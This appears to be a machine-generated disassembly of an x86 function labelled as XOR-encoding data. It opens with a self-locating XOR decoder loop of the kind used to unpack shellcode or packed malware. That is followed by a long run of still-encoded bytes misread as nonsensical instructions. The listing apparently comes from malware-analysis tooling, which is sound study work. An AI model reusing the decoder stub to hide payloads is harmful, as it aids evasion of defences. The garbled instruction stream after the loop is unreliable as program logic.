Function at 0xf00f2c
Capabilities:
Encode data using xor

Disassembly:
jmp 0xf00f36
pushal
call 0xf00f3c
pop ebp
sub ebp, 0x10
sub ebp, 0xb00f2c
jmp 0xf00f52
mov eax, 0xb00f2c
add eax, ebp
add eax, 0x4c
mov ecx, 0x5be
mov edx, 0xd4992c89
xor byte [eax], dl
inc eax
dec ecx
jne 0xf00f69
jmp 0xf00f7c
add al, byte [edx + eax]
mov ch, 0x89
mov dword [ecx - 0x768eb7f8], ecx
mov dword [ecx - 0x70cebb76], ecx
mov dword [ecx - 0x765ecc77], ecx
mov dword [ecx + 0x418a6b7e], ecx
add cl, byte [eax]
test dword [ecx + 0x4c8a8989], ecx
add al, 0xed
lodsd eax, dword [esi]
jne 0xf00fa7
lea ebp, [ebp + 0x75aded04]
add byte [ebp + 0x32c5e1ad], cl
test al, 0x89
loope 0xf0100d
fiadd dword [edi]
mov dword [eax - 0x4f1e525b], ecx
rol dword [eax - 0x36], 1
popal
mov word [ecx - 0x469f7677], cs
mov dword [ecx - 0x5212fb77], ecx
jne 0xf00fd1
movsd dword es:[edi], dword [esi]
lodsd eax, dword [esi]
add al, 0xe5
lodsd eax, dword [esi]
mov dword [edx], eax
or al, 0x81
mov dword [ecx - 0x7ae3fd77], ecx
mov dword [ecx - 0x66fbfd77], ecx
mov dword [ecx - 0x749fb777], ecx
mov eax, 0x8d4b0a8b
or cl, byte [ebx - 0x73]
rol byte [esi + 0x76767d0c], 0x76
aam 0x4b
test dword [ecx - 0x7252fafe], ecx
mov dword [ecx + 0x32c5e189], ecx
test al, 0x89
loope 0xf01060
fiadd dword [edi]
mov dword [eax - 0x12fb525b], ecx
lodsd eax, dword [esi]
mov byte [ebp - 0x5212fb53], ah
jne 0xf01015
test dword [ebp - 0x7676739f], ebp
mov dword [eax - 0x38], esp
mov ecx, dword [ecx - 0x1afb2377]
lodsd eax, dword [esi]
mov dword [ecx - 0x521afb24], ecx
mov dword [esi - 4], esi
test dword [esi - 4], esi
and dword [ecx - 5], 0x2898989
xor al, 0x81
mov dword [ecx - 0x7ecbfd77], ecx
mov dword [ecx - 0x5187f777], ecx
add byte [esi], al
lea ecx, [eax]
js 0xf00fee
add byte [esi], al
lea edi, [edx + 0xa5bba40]
popal
mov ecx, es
xchg byte [0x898989c7], cl
xchg byte [ecx], al
ror dword [ecx + 0x2ef8989], 0x95
mov al, 9
jb 0xf010bf
xchg byte [0x89898993], cl
or dword [edx + 0x60], esi
xchg ebx, eax
mov dword [ecx + 0x60720989], ecx
xchg byte [0x89898998], cl
out dx, eax
or byte [edx + 0x76], dh
lodsb al, byte [esi]
xchg byte [0x8989899c], cl
enter 0x4560, 0x76
jbe 0xf010f4
pushfd
mov dword [ecx + 0x4560c889], ecx
jbe 0xf010f3
jbe 0xf0101f
mov al, byte [0xa88b0c5]
dec eax
mov word [edx], cs
popal
lea esp, [eax + 0x34]
jbe 0xf01102
lds esi, [eax - 0x73b7f578]
or ah, byte [ecx - 0x73]
pushal
xor al, 0x76
jbe 0xf01103
jbe 0xf0102e
mov al, byte [0xa8bb0dd]
dec eax
invalid
fnsave dword [eax - 0x70b7f575]
or ah, byte [ebx - 0x73]
or ah, byte [ecx - 0x74]
pushal
and dh, byte [esi + 0x76]
jbe 0xf01074
dec ebx
test dword [ecx - 0x209afd24], ecx
invalid
mov dword [ecx - 0x7674cd77], ecx
mov dword [ecx + 0xc865b8b], ecx
mov word [ecx - 0x60fc7677], cs
iretd
mov word [ecx - 0x60fc7677], cs
iretd
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
xchg byte [edx], cl
mov dword [0x8b898988], eax
mov ebx, dword [ebx - 0x7a]
or al, 0x8c
pop ebx
xchg byte [esp + ecx*4], cl
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8c0c, 0x865b8b49
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8c0c, 0x865b8b49
pop ebx
xchg byte [esp + ecx*4], cl
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8c0c, 0x865b8b49
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8989, 0x8f0d8649
mov dword [edx], eax
push esi
mov byte [0x18a0351], al
mov cs, esi
xor cl, byte [ebx + 0x60898989]
stc
jbe 0xf011cc
jbe 0xf01189
mov byte [ecx + 0x5b8b8989], cl
xchg byte [esp + ecx*4], cl
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8c0c, 0x865b8b49
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
xchg byte [ebx], cl
push edi
jbe 0xf011f3
jbe 0xf01121
dec edx
xor cl, byte [eax - 0x79767677]
or al, 0xbd
mov dword [ecx - 0x7677cf77], ecx
mov dword [ecx + 0xc865b8b], ecx
mov word [ecx - 0x60fc7677], cs
iretd
mov ebp, 0x30898989
mov byte [ecx + 0x5b8b8989], cl
mov dword [ecx - 0x767677d0], ecx
mov dword [ebx - 0x73f379a5], ecx
xchg byte [esp + ecx*4], cl
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8c0c, 0x865b8b40
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
xchg byte [ebx], cl
push edi
jbe 0xf01227
jbe 0xf01192
add bh, byte [esi - 0x5e]
jl 0xf01232
sub eax, 0x768160d7
jbe 0xf01235
ror dword [eax + 0x69], 0x81
add ecx, dword [edi + 0x306102cf]
mov byte [ecx + 0x5b8b8989], cl
xchg byte [esp + ecx*4], cl
mov dword [ebx - 0x73f379a5], ecx
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8c0c, 0x865b8b40
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
xchg byte [ebx], cl
push edi
jbe 0xf01264
jbe 0xf011f8
jno 0xf0117b
hlt
mov dword [ecx + 0x76765008], ecx
jbe 0xf01271
jbe 0xf01270
jbe 0xf01204
or byte [ecx - 0x77], dh
jno 0xf01187
mov word [ecx + 0x76500889], cs
jbe 0xf0127c
jbe 0xf01210
jno 0xf01213
mov dword [ecx - 0x76a7f777], ecx
mov dword [ecx + 0x9710889], ecx
or byte [ecx + 9], dh
mov dword [ecx - 0x76a7f777], ecx
mov dword [ecx + 0x7e02df89], ecx
mov byte [0xd72d7a79], al
pushal
adc dh, byte [edi + 0x76]
ja 0xf012a1
jbe 0xf01230
invalid
inc eax
dec ecx
popal
mov byte [esi - 0x76766cf3], al
mov dword [eax], ecx
pop eax
mov ecx, dword [ecx + 0x61028989]
fild word [edx]
jle 0xf011e8
or eax, 0x89898993
or byte [eax - 0x75], bl
mov dword [ecx - 0x209efd77], ecx
add bh, byte [esi - 0x5e]
jns 0xf012c2
sub eax, 0x898832d7
mov dword [ecx + 0x7677fa60], ecx
jbe 0xf01229
mov byte [0x4e0281f4], al
salc
xlatb
add ch, byte [esp + edx*8 + 0x4b]
add dword [edx], 0x2d7d64e
insb byte es:[edi], dx
aam 0x4b
or dword [ecx - 0x729f282a], 0xa1898989
fcomp qword [edx + 0x66]
xor dword [ebp - 0x7576c67a], esp
pushal
lea ecx, [ecx - 0x235e7677]
pop edx
xor word [ebp - 0x7576c67a], sp
cmp dword [ecx + 0x49084c8a], ecx
out dx, al
mov dword [edx - 0x11b6f7b4], ecx
dec esp
or byte [ecx - 0x12], cl
mov cl, byte [ecx - 0x74d5cf77]
mov dword [ecx - 0x514b70cd], ecx
mov ecx, dword [ecx - 0x4b70cc77]
scasb al, byte es:[edi]
invalid
xor edi, dword [eax - 0x707070d1]
invalid
mov ecx, dword [eax]
jbe 0xf012d4
jne 0xf01257
invalid
dec eax
xchg dword [edi + 0x660e8f8f], ecx
xchg dword [edi + 0x760e8f8f], ecx
invalid